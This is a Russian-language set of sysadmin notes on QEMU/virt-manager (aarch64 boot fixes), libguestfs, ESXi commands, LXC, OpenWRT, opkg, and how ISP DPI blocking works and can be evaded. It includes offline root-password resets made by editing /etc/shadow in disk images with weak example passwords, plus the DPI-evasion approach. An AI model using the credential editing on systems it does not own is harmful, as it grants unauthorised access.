Другие типы машин (почему их НЕ надо выбирать): sbsa-ref: Это эмуляция серверного железа (Server Base System Architecture). Она требует специфических прошивок объемом ровно 256 МБ и гораздо сложнее в настройке для обычного пользователя. raspi3b / virt2 / и т.д.: Это эмуляция конкретных плат (например, Raspberry Pi). Они имеют жесткие ограничения по объему оперативной памяти (например, 1 ГБ для Pi3) и часто требуют передачи специфического dtb (Device Tree Blob) файла при загрузке
Важные настройки для типа virt: Чтобы Alpine Linux успешно загрузился с ISO: CPU: Выберите cortex-a57 или max. Использование host невозможно, так как архитектуры хоста и гостя различаются. Видео: Установите virtio (или ramfb). Стандартное VGA для virt машин часто не инициализируется корректно. CD-ROM: Убедитесь, что ISO подключен через шину USB или SCSI. Шина IDE на машинах типа virt не поддерживается.
Для стандартного образа Alpine Linux (и большинства других дистрибутивов) в 2025 году лучше всего подходит: /usr/share/AAVMF/AAVMF_CODE.fd (если есть в списке) или /usr/share/AAVMF/AAVMF_CODE.no_secboot.fd
AAVMF_CODE.no_secboot.fd: Это самый безопасный вариант для Alpine. В нем отключена проверка Secure Boot. Alpine Linux "из коробки" может иметь проблемы с загрузкой, если включена строгая проверка подписей Secure Boot, так как не всегда использует подписанный загрузчик shim. AAVMF_CODE.ms.fd: Содержит ключи Microsoft. Используется в основном для запуска Windows on ARM или дистрибутивов с полной поддержкой Secure Boot (Ubuntu, Fedora). Для Alpine это может создать лишние препятствия. AAVMF_CODE.secboot.fd: Включает механизм Secure Boot, но без предустановленных ключей (или со специфическими).
Если ISO всё равно не загружается: Если после выбора прошивки вы видите пустой экран или консоль UEFI (Shell), проверьте два момента в настройках virt-manager: Тип шины диска и CD-ROM: Для ARM64 (aarch64) крайне рекомендуется использовать шину VirtIO для диска и SCSI или USB для CD-ROM. Шина IDE на ARM часто не поддерживается. Видеокарта: Установите модель Virtio (с поддержкой 3D или без) или Ramfb. Стандартные VGA/Cirrus, привычные для x86, на aarch64 часто не выводят изображение.
Ошибка («Display output is not active») на архитектуре aarch64 чаще всего возникает из-за того, что эмулируемая машина virt не имеет стандартного видеовыхода, как у обычного ПК, и UEFI не знает, куда выводить изображение. Для исправления в 2025 году выполните следующие шаги в настройках виртуальной машины: 1. Сменить видеодрайвер В разделе Video (Видео): Измените модель на virtioили ramfb. Важно: Не используйте VGA, Cirrus или QXL — они плохо работают с архитектурой ARM в QEMU. ramfb является наиболее надежным вариантом для этапа загрузки UEFI. 2. Проверьте тип Графического дисплея В разделе Display Spice (или Display VNC): Убедитесь, что выбран Listen type: Address (или None). Если используете Spice, попробуйте переключить на VNC, так как он иногда стабильнее инициализирует «картинку» при программной эмуляции (TCG). 3. Добавьте последовательную консоль (Serial Console) На ARM-системах вывод часто идет не в графику, а в последовательный порт. Нажмите Add Hardware (Добавить оборудование) -> Serial. Совет: pty . После запуска машины, если графическое окно пустое, перейдите в меню virt-manager: View (Вид) -> Consoles (Консоли) -> Serial 1. Alpine Linux часто выводит лог загрузки именно туда. 4. Настройка Шины ввода (Input) Тип машины virt не поддерживает PS/2 мышь и клавиатуру. Удалите старые устройства ввода. Добавьте USB Keyboard и USB Mouse (или EvTouch USB Graphics Tablet). Без этого вы не сможете управлять меню загрузки. 5. Принудительный выбор устройства загрузки Если экран активен (черный), но ничего не происходит: Сразу после запуска быстро нажимайте ESC (может потребоваться несколько попыток из-за медленной эмуляции). Вы попадете в меню UEFI. Выберите Boot Manager. Найдите пункт UEFI QEMU CD-ROM и нажмите Enter. Почему это происходит: Эмуляция aarch64 на x86 идет через TCG (программный транслятор), она крайне медленная. Иногда отрисовка первого кадра UEFI занимает до 30-60 секунд. Подождите немного после запуска.
оптимизация диска VM qemu-img info debian10.qcow2 virt-df -h debian10.qcow2 virt-sparsify debian10.qcow2 debian10-new.qcow2
сброс пароля sudo virt-edit -d название_виртуалки /etc/shadow sudo virt-sysprep --root-password password:123456 -a guest.img Fedora 37 Cloud Base Images sudo virt-sysprep -a --root-password password:12345678 --selinux-relabel
Перенос из KVM в VMware qemu-img convert -f qcow2 centos7.qcow2 -O vmdk centos7.vmdk
Увеличиваем размер образа. В случае использования KVM/QEMU: qemu-img resize vm.qcow2 +5GB
В случае использования VirtualBox, потребуется дополнительный шаг с промежуточным преобразованием VDI в qcow2 или raw-формат: qemu-img convert -f vdi -O qcow2 vm.vdi vm.qcow2 qemu-img resize vm.qcow2 +5G qemu-img convert -f qcow2 -O vdi vm.qcow2 vm.vdi
чтобы выделить видеопамять больше 16 мегабайт qemu -device VGA,vgamem_mb=128, а в virt-manager подправить xml файл.
флаги ядра https://wiki.gentoo.org/wiki/QEMU минимальный CONFIG_BLOCK=y CONFIG_BLK_DEV=y CONFIG_DEVTMPFS=y CONFIG_VIRTIO_MENU=y CONFIG_VIRTIO_BLK=y
Как очистить устаревшие записи virsh net-dhcp-leases default cat /var/lib/libvirt/dnsmasq/default.leases sudo cat /var/lib/libvirt/dnsmasq/virbr0.status | jq
1. Останови сеть: virsh net-destroy default
2. Удали virbr0.status: sudo rm /var/lib/libvirt/dnsmasq/default.leases или sudo rm /var/lib/libvirt/dnsmasq/virbr0.status
3. Перезапусти сеть: virsh net-start default
Теперь снова проверь: virsh net-dhcp-leases default
просмотр всех ip адресов на всех интерфейсах у всех виртуалок на каждой виртуалке sudo apt install qemu-guest-agent sudo systemctl enable --now qemu-guest-agent sudo systemctl status qemu-guest-agent
на хосте get_ip_address_vm.sh
https://hackware.ru/?p=14459 sudo apt install libguestfs-tools virt-cat -a '/ПУТЬ/ДО/ВИРТУАЛЬНОГО/ДИСКА' '/ПАПКА/ФАЙЛ' virt-filesystems -a '/ПУТЬ/ДО/ВИРТУАЛЬНОГО/ДИСКА' virt-ls — показывает список файлов virt-ls -a '/ПУТЬ/ДО/ВИРТУАЛЬНОГО/ДИСКА' '/ПАПКА' virt-edit — редактирует файл virt-copy-in — копирует файлы и директории в виртуальную машину virt-copy-out — копирует файлы и директории из виртуальной машины guestmount — монтирует файловую систему гостевой машины в основную guestunmount — размонтирует гостевую файловую систему guestmount -a '/ПУТЬ/ДО/ВИРТУАЛЬНОГО/ДИСКА' -i --ro /ТОЧКА/МОНТИРОВАНИЯ
ошибки virt-manager Ошибка создания пула: Не удалось определить пул: XML error: name Downloads/iso/ cannot contain '/' virsh pool-define-as storage dir --target $HOME
https://www.reddit.com/r/archlinux/comments/tuajgs/im_having_an_error_when_trying_to_launch_create_a/ https://github.com/virt-manager/virt-manager/issues/398 XML error: The PCI controller with index='0' must be model='pci-root' for this machine type, but model='pcie-root' was found instead' Going to "Edit", "Preferences", and checking "Enable XML editing". Going to "Overview", "XML", and scrolling down to the "<devices>" section. Replacing the `<controller type="pci" index="0" model="pcie-root"/>` entry with `<controller type="pci" index="0" model="pci-root"/>`. Deleting all of the other pcie controller entries below that. If you have an entry like `<controller type="usb" index="0" model="qemu-xhci" ports="15">` and you need USB support then you'll probably (I haven't verified this) have to replace it with something like `<controller type="usb" model="ich9-uhci1" ports="15"/>`.
для этого типа машины контроллер PCI с индексом 0 должен принадлежать к модели "pci-root" но обнаружена запись model="pcie-root" в свойствах гипервизора меняем Набор микросхем на Q35 или i440FX если надо UEFI, то при создании "Выберите операционную систему для установки" нужно выбрать "Generic or unknown OS. Usage is not recommended."
qemu efi does not see sda only hda and vda после установки, например под aarch64, на "Дисковое устройство" sata (sda), при загрузке нет диска в UEFI shell, чтобы он появился (и появилась возможность загрузится), необходимо удалить диск из VM, а затем добавить его как "Дисковое устройство" VirtIO (vda) https://access.redhat.com/discussions/3158461 возможно нет драйверов virtio-scsi virtio_scsi.ko ваша система, не сможет использовать тип интерфейса virtio-scsi, и ваши дисковые устройства, будут представлены как /dev/vda, vdb, vdc
/dev/sda — это первый обнаруженный диск типа IDE/SATA/SCSI. В данном случае эмулируется (полная виртуализация) гипервизором. /dev/vda — первый обнаруженный паравиртуализированный драйвер диска. Это быстрее, чем эмулируемые устройства sdX, если оба относятся к одному и тому же диску, поскольку в его работе меньше накладных расходов по сравнению с эмулируемым диском.
ознакомиться с хабра proxMox — если в одинокий разраб или небольшая конторка и вам нужно несколько виртуалочек с php/node.js + mysql/postgres
openCloud/openNebula — если вы контора побольше и у вы готовы уделить пару часов в день вашего админа для его обслуживания.
openStack — если у вас куда больше 20 серверов и 10-и админов и вы готовы взять себе еще столько же админов/разрабов чтобы они решали его проблемы либо купить услуги конторы что приготовит его для вас.
Методика безопасности, нейтрализующая угрозу эксплуатации уязвимости ядра linux Для нейтрализации угрозы эксплуатации уязвимости ядра linux необходимо запретить непривилегированным пользователям создавать новые пространства имен пользователей, установив значение параметра ядра kernel.unprivileged_userns_clone равным "0". Чтобы проверить текущее значение параметра ядра необходимо выполнить команду:
Параметр ядра kernel.unprivileged_userns_clone может принимать следующие значения: 0 — в случае, когда непривилегированным пользователям запрещено создавать новые пространства имен пользователей; 1 — в случае, когда непривилегированным пользователям разрешено создавать новые пространства имен пользователей. Для того чтобы временно (до перезагрузки системы) запретить непривилегированным пользователям создавать новые пространства имен пользователей, необходимо выполнить команду:
sudo sysctl -w kernel.unprivileged_userns_clone=0
Для того чтобы установленное значение параметра ядра сохранилось после перезагрузки, необходимо:
Добавить в файл /etc/sysctl.d/999-astra.conf следующую строку:
kernel.unprivileged_userns_clone = 0 Это можно сделать следующей командой:
echo "kernel.unprivileged_userns_clone = 0" | sudo tee -a /etc/sysctl.d/999-astra.conf Перезагрузить параметры ядра, выполнив команду:
1) Переходим в /var/lib/libvirt/images/ 2) sudo virt-sysprep -a Centos-7-x86_64-GenericCloud.qcow2 --root-password password:PASSW0RD --uninstall cloud-init где PASSW0RD это пароль root 3) Создаем виртуальную машину на основе этого образа 4) Логинимся со своим паролем
либо $ sudo apt install libguestfs-tools # guestfish --rw -a ./CentOS-7-x86_64-GenericCloud.qcow2 ><fs> run ><fs> list-filesystems ><fs> mount /dev/sda1 / ><fs> vi /etc/shadow
root:!!:17667:0:99999:7::: удалить !! между :: можно вставить сгенерированный пароль # openssl passwd -1 changeme $1$QiSwNHrs$uID6S6qOifSNZKzfXsmQG1
отмонтировать ><fs> umount /dev/sda1 выйти ><fs> quit
Иногда с чистой установки Hyper-V 2012 Server R2 возникает проблема с удаленным подключением. Проблема заключается в следующе - система установлена, подключения к RDP разрешены, но возникает ошибка при подключении к удаленному рабочему столу.
Проблема заключается в блокировке фаерволом подключений. Для того, чтобы разрешить удаленные подключения к вашему Hyper-V серверу выполните в cmd:
cmd powershell Enable-NetFirewallRule
После этого, подключение должно пройти. Если этого не случилось - явно разрешите подключения:
Создаём контейнер p1, используя шаблон ubuntu и такую же архитектуру и версию как и хост. Использование "-- --help" выведет список всех доступных опций. sudo lxc-create -t ubuntu -n p1
Запуск контейнера в фоне. sudo lxc-start -n p1 -d
Вход в контейнер одним из различных путей:
Присоединение к консоли контейнера (ctrl-a + q для отсоединения) sudo lxc-console -n p1 Запуск bash напрямую в контейнере, минуя логин. Требуется ядро >= 3.8. sudo lxc-attach -n p1 SSH в контейнер. Логин ubuntu, пароль ubuntu. sudo lxc-info -n p1 ssh ubuntu@IP-из-lxc-info
Остановка контейнера одним из различных путей:
Остановка контейнера из самого контейнера. sudo poweroff Корректная остановка контейнера из хоста. sudo lxc-stop -n p1 Грубое убийство контейнера из хоста. sudo lxc-stop -n p1 -k Вот и готов первый контейнер. Как и обещано, в Ubuntu - всё просто! Ядра обладают поддержкой всего что нужно для LXC и контейнер использует bridge и DHCP по умолчанию
Шаг 4. Откройте браузер по следующему URL-адресу: https://[ESXI-HOST]/ui/ и обратите внимание на дополнительный завершающий «слеш» в конце URL-адреса. Это обязательно, иначе страница клиента Embedded Host не будет загружена должным образом.
1. Работа с esxi-хостом: Команда reboot перезагружает esxi-хост. Команда poweroff выключает esxi-хост. Команда esxcli system version get выведет номер установленной версии VMware ESXi. Команда esxcli hardware pci list | more выведет полную информацию обо всех установленных PCI устройствах. Команда lspci выведет краткую информацию обо всех установленных PCI устройствах. Команда esxtop — top для vmware esxi ( быстрые клавиши для переключения дисплея: c:cpu, i:interrupt, m:memory, n:network, d:disk adapter, u:disk device, v:disk VM, p:power mgmt) Команда vmkerrcode -l — расшифровка кодов ошибок. Команда esxcfg-nics -l — информация о сетевых карточках. Команда esxcfg-vswitch -l — информация о виртуальных коммутаторах. Команда dcui — работа с консолью сервера через ssh сессию. Команда chkconfig -l — статус работы демонов. Команда esxcli hardware memory get — вывод информации об количестве установленной памяти. Команда esxcli software vib list — список установленных vib-пакетов. Команда esxcli network ip connection list — состояние активных соединений (аналог netstat). Команда esxcli storage vmfs extent list — информация о томах VMFS, подключенных к хосту. Команда esxcli hardware clock (get/set) — Получение/установка времени esxi-хоста.
esxcli system welcomemsg set — Получить текст и изменить приветственное сообщение ESXi esxcli system settings advanced list | grep smth — Поискать что-нибудь в Advanced Settings хоста esxcli hardware bootdevice list — Порядок загрузки с устройств esxcli iscsi adapter discovery rediscover — Сканирование iSCSI-адаптеров esxcli storage core adapter rescan [-A | -all] — Рескан iSCSI
2. Работа с виртуальными машинами: vim-cmd vmsvc/getallvms — вывод информации обо всех ВМ на данной машине (Vmid, Name, File, Guest OS, Version, Annotation) vim-cmd vmsvc/power.getstate 1 — включена/выключена ВМ с Vmid 1. vim-cmd vmsvc/power.on 1 — включить ВМ с Vmid 1. vim-cmd vmsvc/power.off 1 — выключить (по питанию) ВМ с Vmid 1. vim-cmd vmsvc/power.reset 1 — перезагрузка (аналогично нажатию клавиши RESET на реальном сервере) ВМ с Vmid 1. vim-cmd vmsvc/power.shutdown 1 — корректное выключение ВМ с Vmid 1. Действует только, если установлены VMware Tools. vim-cmd vmsvc/power.reboot 1 — перезагрузка ВМ с Vmid 1. Действует только, если установлены VMware Tools. vim-cmd vmsvc/get.summary 1 — получение полной информации о ВМ с Vmid 1. vim-cmd vmsvc/get.summary 1 | egrep ‘(name|power|ip)’ — получение отфильтрованной информации о ВМ с Vmid 1. Выводится имя, состояние питания, IP-адрес. esxcli vm process list — получить список ВМ с их World ID esxcli vm process kill —type=[soft,hard,force] —world-id=WorldID — убиваем разными способами ВМ с нужным WorldID (помогает от зависших и не отвечающих в vSphere Client ВМ)
vim-cmd vmsvc/power.getstate статус питания виртуальной машины с указанным ID. Увидеть список ВМ и их ID вы можете при помощи команды; vim-cmd vmsvc/getallvms — Выключить питание виртуальной машины; vim-cmd vmsvc/power.off vmid — Включить питание виртуальной машины; vim-cmd vmsvc/power.on vmid — Перезагрузить виртуальную машину; vim-cmd vmsvc/power.reboot vmid — Удалить файлы виртуальной машины; vim-cmd vmsvc/destroy vmid — Удалить файлы виртуальной машины; vim-cmd vmsvc/power.shutdown — Выключение виртуальной машины (shutdown guest); vim-cmd vmsvc/power.reset — Перезагрузка виртуальной машины; vim-cmd vmsvc/get.summary — Общая информация о виртуальной машине; vim-cmd solo/registervm /vmfs/vol/datastore/dir/vm.vmx — Подключить виртуальную машину; vim-cmd vmsvc/unregister vmid — Убрать виртуальную машину из гипервизора; vim-cmd vmsvc/tools.install vmid — Установка vmware tools; vim-cmd hostsvc/net/info — информация о сети гипервизора; vim-cmd hostsvc/maintenance_mode_enter — Переключить хост в режим обслуживания; vim-cmd hostsvc/maintenance_mode_exit — Выйти из режима обслуживания; chkconfig -l — Показать службы запущенные на гипервизоре; esxtop — Список процессов; vmkerrcode -l — посмотреть vmkernel ошибки; esxcfg-info — Посмотреть информацию о хосте; esxcfg-nics -l — Посмотреть информацию о сетевых адаптерах; esxcfg-vswitch -l — Посмотреть информацию о виртуальных сетевых адаптерах; dcui — Стартовая консоль ESXI по ssh; vsish — Vmware интерактивная консоль; cat /etc/chkconfig.db — посмотреть состояние сервисов на хосте; /sbin/services.sh restart — перезагрузить все сервисы на хосте; vmkload_mod --list — Показать загруженные драйвера; vmkload_mod -s /mod/your_driver — Показать параметры драйверов; vmkfstools -i /vmfs/volumes/san_vmfs/my_vm/large_disk.vmdk -d thin /vmfs/volumes/san_vmfs/my_vm/new_thin_disk.vmdk — Конвертировать существующий диск в thin формат;
авария, сеть, доступ Через локальное БИОС-подобное меню также можно открыть доступ к локальной командной строке, пройдите Troubleshooting Options ^ Enable Local Tech Support. После нажатия Enter название пункта меню должно поменяться на Disable Local Tech Support - это значит, что локальная командная строка включена, а этим пунктом ее можно отключить обратно.
Так или иначе разрешив доступ к локальной командной строке, нажмите Alt+F1 и авторизуйтесь. esxcfg-nics -l — Посмотреть информацию о сетевых адаптерах; esxcfg-vswitch -l — Посмотреть информацию о виртуальных сетевых адаптерах; esxcfg-vswitch -U vmnic0 vSwitch0 - отключения сетевого адаптера из виртуального свитча esxcfg-vswitch -L vmnic0 vSwitch0 - подключение сетевого адаптера к виртуальному свитчу
выполните команду, чтобы увидеть текущее назначение псевдонимов местоположениям устройства: localcli --plugin-dir /usr/lib/vmware/esxcli/int/ deviceInternal alias list
How to manage VLANs and virtual switches on ESXi/vSphere нажмите F2 и получите доступ к консоли ESX (i), чтобы включить понимание архитектуры VLAN . Выберите Настроить управление Netowrk: Включите маркировку VLAN, указав 4095 в качестве значения: Укажите IP-адрес для сетевого адаптера управления: Определите DNS- серверы: Нажмите Esc и подтвердите: Теперь ваш ESX (i) знает архитектуру VLAN .
esxcfg-route -l esxcli network ip netstack list esxcli network ip interface ipv4 get
начиная с 5.5 можно создать пользовательский сетевой стек (для роутинга) esxcli network ip netstack add -N “Net2” проверить esxcli network ip netstack get -N “Net2”
esxcli network ip interface ipv4 set --interface-name=vmk1 --type=static --ipv4=192.1 68.100.222 --netmask=255.255.255.0 --gateway=192.168.100.1
ESXi Особенности работы: 1) В виртуальных свитчах по-умолчанию запрещена передача VLAN(но возможна QinQ). Для того, чтобы разрешить прохождение VLAN необходимо зайти в Configuration - Networking -> Выбрать нужный свитч и нужную подсеть -> Edit -> General -> VLAN ID -> All(4096).
2)На виртуальных свитчах иногда не проходят vrrp пакеты.Для прохождения выставить в настройках vswitch режим promisc.
Чтобы обойти эту проблему и убедиться, что ваши изменения отражены, скопируйте /etc/vmware/rhttpproxy/endpoints.conf во временную папку . Отредактируйте файл, затем скопируйте его обратно в /etc/vmware/rhttpproxy/endpoints.conf .
флаги ядра https://wiki.gentoo.org/wiki/VMware CONFIG_VMWARE_PVSCSI=y для VMware Player CONFIG_FUSION=y CONFIG_FUSION_SPI=y CONFIG_FUSION_FC=y CONFIG_FUSION_SAS=y CONFIG_FUSION_MAX_SGE=128
Manage the Acceptance Levels of Hosts and VIBs 1. убедитесь, что для уровня приема установлено значение VMwareCertified, VMwareAccepted или PartnerSupported esxcli software acceptance get
2. Если уровень принятия хоста - CommunitySupported, определите, находятся ли какие-либо из VIB на уровне CommunitySupported, выполнив следующие команды. esxcli software vib list esxcli software vib get -n vibname
3. Удалите все поддерживаемые Community VIBs, выполнив следующую команду. esxcli software vib remove --vibname vib
4. Измените уровень принятия хоста одним из следующих способов. esxcli software acceptance set --level acceptance_level
Для отладки kernel panic по консоли: 1) Остановить машину. 2) Edit settings -> Add -> Serial device -> to file -> создать файл в datastore 3) После kernel panic скачать файл через storage browser.
этот пакет нужен если возникнет желание воспользоваться libreoffice в консоли, напр. для конвертации libreoffice --headless --convert-to pdf:writer_pdf_Export --outdir $HOME/tmp/convert *.html
Восстановление доступа HTTP/HTTPS через подключение по SSH включить web управление: ssh admin@172.16.2.250 Введите команду: configure terminal Введите команду: ip http secure-server Введите команду: write Введите команду: exit Откройте браузер и введите IP-адрес устройства
выключить web управление: System → WWW → HTTPS снять галку с Enable нажать на Apply
если в вебморде заблокировали доступ для всех ) посмотреть show ip http server secure status show ip http server status
Router(config)# show ip http server status active : yes content-compression : no port : 80 authentication method: default admin service control: No. Zone Address Action =============================================================================== 1 ALL ALL deny 2 LAN2 ALL accept
удалить блокировку configure terminal no ip http server table admin rule 1
Данный менеджер пакетов позволяет установливать, обновлять и удалять отдельные программные пакеты, разрешает зависимости между пакетами и выводить список установленного программного обеспечения. Учитывая, что в Dreambox используется именно этот пакетный менеджер, сделал для себя памятку по командам opkg...
update Обновление списка пакетов
upgrade Обновление установленных пакетов
install Установка пакета (пакетов)
configure Конфигурирование (сборка) распакованного пакета
remove Удаление пакета (пакетов)
flag Флажки для пакетов
=hold|noprune|user|ok|installed|unpacked
Информация о пакетах:
list Список доступных пакетов
list-installed Список установленных пакетов
list-upgradable Список установленных и доступных для обновления пакетов
files Список файлов, принадлежащих пакету
search Поиск
info [pkg|regexp] Показать всю информацию по пакетам
status [pkg|regexp] Показать все статусы пакетов
download Скачивание в текущую директорию
compare-versions
Сравнение версий с помощью = =
print-architecture Список архитектуры устанавливаемого пакета
whatdepends [-A] [pkgname|pat]+
whatdependsrec [-A] [pkgname|pat]+
whatprovides [-A] [pkgname|pat]+
whatconflicts [-A] [pkgname|pat]+
whatreplaces [-A] [pkgname|pat]+
Опции:
-A Запрос всех пакетов - не только тех, что установлены
-V[] Уровень вывода
--verbosity[=]
0 - только ошибки
1 - нормальный уровень (по умолчанию)
2 - информационные сообщения
3 - дебаг
4 - дебаг (2й уровень)
-f Использовать в качестве файла конфигурации opkg
--conf
--cache Использование кэша пакетов
-d Использовать в качестве корневого каталога для
--dest установки пакета, обновления или удаления.
-o Использовать в качестве корневого каталога для
--offline-root автономной установки пакетов.
Принудительные опции:
--force-depends Установить/удалить, несмотря на зависимости
--force-maintainer Перезапись существующих конфигурационных файлов
--force-reinstall Переустановка пакет(ов)
--force-overwrite Замена файлов новыми
--force-downgrade Откат пакета
--force-space Не проверять свободное место
--noaction Просто тестирование (никаких действий)
--download-only Просто скачивание (никаких действий)
--nodeps Не уставнавливать зависимости
--force-removal-of-dependent-packages
Удаление пакета(ов) и всех зависимостей
--autoremove Удаление пакета(ов), которые установлены лишь
удовлетворения зависимостей
-t Определение tmp-директории
--tmp-dir Определение tmp-директории
Tabnine — подсказки с использованием ИИ. Очень крутой плагин, сильно помогает при написании кода, использую всегда.
Translation — супер полезный плагин, позволяет запустить переводчик прямо из кода.
Использование: выделить нужный текст, нажать ПКМ и выбрать Translete/Translete and Repace. Либо нажать в правом верхнем углу на иконку перевода.
PyLint — линтер для Python, указывает на плохой код.
Использование: выбрать в нижнем меню PyLint и запустить проверку.
MyPy — проверка типов в Python (чтобы не допускать ошибки связанные с типом возвращаемых значений).
Использование: выбрать в нижнем меню MyPy и запустить проверку.
SonarLint — указывает на различные ошибки в нейминге переменных/функций/классов.
Использование: Ctrl+Shift+S или выбрать в нижнем меню SonarLint и запустить проверку.`
Python Security — проверяет код на уязвимости, работает автоматически.
Quick File Preview — посмотреть файл не открывая его, полезен если вы постоянно бегаете по файлам в поисках буквально 1 строчки и нет смысла полностью открывать файл.
Использование: Один раз кликнуть на файл.
String Manipulation — работа с названиями переменных/функций и т. п. (можно привести к snake_case, camelCase и т. п.),
Использование: выделить нужное слово, нажать ПКМ, нажать String Manipulation, нажать Switch Case и выбрать нужный пункт.
Rainbow Brackets — красит скобочки в свой цвет, нужно чтобы чётко видеть иерархию скобок.
Python Smart Execute — запустить блок кода в консоли, не запуская при этом саму программу (к примеру для теста на работоспособность).
Использование: выделить код и Alt+Shift+A, или нажать ПКМ и выбрать Smart execute...
MultiHighlight — выделить какое-либо название цветом (к примеру чтобы не забыть отрефакторить этот кусок).
Использование: Выделить кусок и нажать Ctrl+'
Dummy Text Generator — сгенерировать рандомное предложение в различных стилях. Бывает полезно для теста функционала (к примеру, что текст отображения не вылазит за рамки).
Deploy на сервер. Эта настройка открывает нам целый мир удобного деплоя, если будет интересно, могу написать отдельную статью просвещённую деплою.
Tools -> Deployment -> Configuration
Добавление плагинов.
File -> Settings -> Plugins
Это не совсем настройка, но всё же находится в меню, так что я решил добавить это сюда. Позволяет посмотреть небольшую статистику своей продуктивности.
1) скачать свежий перевод https://translations.launchpad.net/codeblocks/trunk/+pots/codeblocks/ru/+details для этого надо залогиниться в https://login.launchpad.net/ перевод придёт по почте 2) конвентировать .po в .mo msgfmt _codeblocks-ru.po -o codeblocks-ru.mo 3) sudo mkdir -p /usr/share/codeblocks/locale/ru_RU 4) sudo cp codeblocks-ru.mo /usr/share/codeblocks/locale/ru_RU/ 4) Settings->Environment->View->Internalization (поставить галочку)-> там где Available languages выбрать Russian 5) перезапустить программу
который можно погасить командой sudo virsh net-destroy default
посмотреть запущенный вирт.сетевые интерфейсы можно командой sudo virsh net-list
сами настройки виртуального дефолтного сетевого интерфейса находится в файле /etc/libvirt/qemu/networks/default.xml
и представляют собой запись
можно создать свой вирт. сетевой интерфейс, со своими настройками, напр:
sudo nano /etc/libvirt/qemu/networks/def1.xml
затем sudo virsh net-create /etc/libvirt/qemu/networks/def1.xml
3) В Virtual Machine Manager выбирается "Импорт существующего диска" и ставится чекбокс "изменить настройки перед установкой".
В Видео выбирается модель VGA, добавляется несколько виртуальных сетевых интерфейсов и выбирается модель virtio, также желательно добавить дополнительный виртуальный жёсткий диск, 300 - 500 Мб более чем достаточно
4) после загрузки необходимо сконфигурировать выход в сеть, для этого необходимо внести правку в файл /etc/config/network поскольку в запущенном ранее дефолтном витр. сетевом интерфейсе ip address="192.168.122.1" то и настройки будут соответствующие
vi /etc/config/network
чтобы применить изменения необходимо выполнить команду /etc/init.d/network restart
чтоб не забыть, команды vi
5) после всего этого в OpenWRT можно получить доступ через телнет telnet 192.168.122.5 или открыв в браузере адрес http://192.168.122.5
в случае успеха обновить пакеты opkg update
или поставить mc opkg install mc
Для правильной работы MC, перед запуском нужно выполнить:
export TERMINFO="/usr/share/terminfo" export TERM="xterm" mc
Но что бы каждый раз не писать эти строчки перед запуском, то лучше прописать их в файле profile:
vi /etc/profile export TERMINFO=/usr/share/terminfo export TERM=xterm
opkg list покажет всё что можно установить ещё
после всех этих действий необходимо сменить пароль командой passwd если, после неоднократных экспериментов, возникнет ошибка WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! то
ошибка distutils.errors.DistutilsPlatformError: invalid Python installation: unable to open /usr/lib/python3.4/config-3.4/Makefile (No such file or directory)
этот способ работает:
если возникает ошибка OSError: [Errno 28] No space left on device
то cd /tmp/; rm -r *
установка всех вышеперечисленных пакетов одной командой:
PS помучившись с кучей косяков (utf8, шрифты в консоли и тд), понял, что лучше так:
PPS в случае с древними версиями openwrt, например attitude_adjustment в которой есть пакет openswan, нужный ради старых настроек ipsec, необходимо кроме настроек интернета, также разрешить порты iptables, по умолчанию в котором всё блокировано, настроим интернет
vi /etc/config/network
/etc/init.d/network restart
затем фрайвол
vi /etc/firewall.user
/etc/init.d/firewall restart
в QEMU (и virt-manager соответственно) при использовании старых релизов openwrt, в настройках виртуальных сетевых интерфейсов вместо модели virtio выбирается pcnet или ne2k_pci, драйверов virtio в них нет
Провайдеры Российской Федерации, в большинстве своем, применяют системы глубокого анализа трафика (DPI, Deep Packet Inspection) для блокировки сайтов, внесенных в реестр запрещенных. Не существует единого стандарта на DPI, есть большое количество реализации от разных поставщиков DPI-решений, отличающихся по типу подключения и типу работы.
Существует два распространенных типа подключения DPI: пассивный и активный.
Пассивный DPI
Пассивный DPI — DPI, подключенный в провайдерскую сеть параллельно (не в разрез) либо через пассивный оптический сплиттер, либо с использованием зеркалирования исходящего от пользователей трафика. Такое подключение не замедляет скорость работы сети провайдера в случае недостаточной производительности DPI, из-за чего применяется у крупных провайдеров. DPI с таким типом подключения технически может только выявлять попытку запроса запрещенного контента, но не пресекать ее. Чтобы обойти это ограничение и заблокировать доступ на запрещенный сайт, DPI отправляет пользователю, запрашивающему заблокированный URL, специально сформированный HTTP-пакет с перенаправлением на страницу-заглушку провайдера, словно такой ответ прислал сам запрашиваемый ресурс (подделывается IP-адрес отправителя и TCP sequence). Из-за того, что DPI физически расположен ближе к пользователю, чем запрашиваемый сайт, подделанный ответ доходит до устройства пользователя быстрее, чем настоящий ответ от сайта.
Выявляем и блокируем пакеты пассивного DPI
Поддельные пакеты, формируемые DPI, легко обнаружить анализатором трафика, например, Wireshark.
Пробуем зайти на заблокированный сайт:
Мы видим, что сначала приходит пакет от DPI, с HTTP-перенаправлением кодом 302, а затем настоящий ответ от сайта. Ответ от сайта расценивается как ретрансмиссия и отбрасывается операционной системой. Браузер переходит по ссылке, указанной в ответе DPI, и мы видим страницу блокировки.
Рассмотрим пакет от DPI подробнее:
HTTP/1.1302 Found
Connection: close
Location: http://warning.rt.ru/?id=17&st=0&dt=195.82.146.214&rs=http%3A%2F%2Frutracker.org%2F
В ответе DPI не устанавливается флаг «Don't Fragment», и в поле Identification указано 1. Серверы в интернете обычно устанавливают бит «Don't Fragment», и пакеты без этого бита встречаются нечасто. Мы можем использовать это в качестве отличительной особенности пакетов от DPI, вместе с тем фактом, что такие пакеты всегда содержат HTTP-перенаправление кодом 302, и написать правило iptables, блокирующее их:
Что это такое? Модуль u32 iptables позволяет выполнять битовые операции и операции сравнения над 4-байтовыми данными в пакете. По смещению 0x4 хранится 2-байтное поле Indentification, сразу за ним идут 1-байтные поля Flags и Fragment Offset.
Начиная со смещения 0x60 расположен домен перенаправления (HTTP-заголовок Location).
Если Identification = 1, Flags = 0, Fragment Offset = 0, 0x60 = «warn», 0x64 = «ing.», 0x68 = «rt.ru», то отбрасываем пакет, и получаем настоящий ответ от сайта.
В случае с HTTPS-сайтами, DPI присылает TCP Reset-пакет, тоже с Identification = 1 и Flags = 0.
Активный DPI
Активный DPI — DPI, подключенный в сеть провайдера привычным образом, как и любое другое сетевое устройство. Провайдер настраивает маршрутизацию так, чтобы DPI получал трафик от пользователей к заблокированным IP-адресам или доменам, а DPI уже принимает решение о пропуске или блокировке трафика. Активный DPI может проверять как исходящий, так и входящий трафик, однако, если провайдер применяет DPI только для блокирования сайтов из реестра, чаще всего его настраивают на проверку только исходящего трафика.
